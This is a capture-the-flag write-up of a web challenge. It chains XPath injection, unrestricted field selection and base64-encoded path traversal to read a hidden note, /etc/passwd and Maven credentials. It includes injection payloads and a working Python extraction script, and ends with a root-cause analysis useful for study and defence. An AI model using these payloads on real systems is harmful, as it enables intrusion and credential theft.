Address Book
May 18, 2026
Address Book
Overview
Address Book was a web challenge built around unsafe XML querying. The application let users search employee data, but three design bugs combined into full data extraction:
- XPath injection in the
inputparameter - arbitrary field selection through the
fieldparameter - XML file traversal through a base64-encoded
fparameter
These bugs exposed hidden data in address_book.xml and credentials in /etc/maven/settings.xml. Concrete flags are redacted in this public version.
Confirming XPath Injection
A normal search request looked like this:
GET /search?input=Alex+Morgan&field=name&f=YWRkcmVzc19ib29rLnhtbA%3D%3D
The response leaked the generated XPath expression in a debug element:
//employees/employee[contains(name, 'Alex Morgan')]
That revealed three important facts:
- the backend used XPath
inputwas concatenated directly into the XPath stringfwas base64 foraddress_book.xml
Decoding f confirmed the filename:
python3 - <<'PY'
import base64
print(base64.b64decode("YWRkcmVzc19ib29rLnhtbA==").decode())
PY
Output:
address_book.xml
Discovering Hidden Fields
The UI only exposed name, address, and phone, but the field parameter was not allowlisted. Supplying field=note produced this debug XPath:
//employees/employee[contains(note, '')]
That showed the backing XML had a hidden note field even though the page did not render it directly.
Extracting The Hidden Note
The response only rendered normal employee fields, so I used the result count as a boolean oracle.
Payload pattern:
Alex Morgan') and contains(note,'FLAG') and ('1'='1
Resulting XPath:
//employees/employee[contains(name, 'Alex Morgan') and contains(note,'FLAG') and ('1'='1')]
If the page returned 1 employee(s) found, the tested substring was present. Extending the known substring one character at a time recovered the first flag, redacted here:
[redacted addressbook flag 1]
Confirming File Traversal
The f parameter was base64-decoded and resolved under the application data directory. Supplying a traversal path changed the backend file being parsed.
For example, encoding ../../../../etc/passwd:
python3 - <<'PY'
import base64
print(base64.b64encode(b"../../../../etc/passwd").decode())
PY
The server attempted to parse /etc/passwd as XML and returned an XML parse error instead of a missing-file error:
Content is not allowed in prolog.
That proved path traversal worked.
Targeting Maven Settings
The useful XML target was /etc/maven/settings.xml, supplied through traversal as:
../../../../etc/maven/settings.xml
The file parsed successfully, but it did not contain employees/employee nodes. To query it, I pivoted the XPath structure with a union injection.
Injected payload:
')]|//server[contains(password,'FLAG')]|//employees/employee[contains(name,'
Resulting shape:
//employees/employee[contains(name, '')]|//server[contains(password,'FLAG')]|//employees/employee[contains(name,'')]
If the result count was 1, a <server> node matched.
Recovered Maven Credentials
The same boolean extraction technique recovered a Maven server entry:
id = repo
username = ctf-user
password = [redacted addressbook flag 2]
Proof Of Concept
The core extraction logic was:
#!/usr/bin/env python3
import base64
import re
import urllib.parse
import urllib.request
BASE = "http://addressbook.ctf/search"
def query(input_value, field="name", f_path="address_book.xml"):
f = base64.b64encode(f_path.encode()).decode()
url = BASE + "?" + urllib.parse.urlencode({
"input": input_value,
"field": field,
"f": f,
})
html = urllib.request.urlopen(url, timeout=10).read().decode("utf-8", "replace")
m = re.search(r"<span>(\d+)</span> employee\(s\) found", html)
return int(m.group(1)) if m else None
def oracle_addressbook(expr):
payload = f"Alex Morgan') and {expr} and ('1'='1"
return query(payload, field="name", f_path="address_book.xml") == 1
def oracle_maven(expr):
payload = f"')]|//server[{expr}]|//employees/employee[contains(name,'"
return query(payload, field="name", f_path="../../../../etc/maven/settings.xml") == 1
def extract_contains(oracle, field_expr, seed="FLAG"):
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_-:.@/+=#$%,"
known = seed
while True:
for ch in alphabet:
candidate = known + ch
if oracle(f"contains({field_expr},'{candidate}')"):
known = candidate
print(known)
break
else:
return known
print(extract_contains(oracle_addressbook, "note", seed="FLAG"))
print(extract_contains(oracle_maven, "password", seed="FLAG"))
Root Cause
The application was vulnerable because:
inputwas concatenated directly into XPathfieldwas not allowlistedflet the client choose backend XML files- traversal was not canonicalized away
- debug XPath output made exploitation easier
Takeaways
The key was not just XPath injection. The challenge became much more powerful because the app also exposed field selection and file selection, turning a search bug into arbitrary XML querying over local files.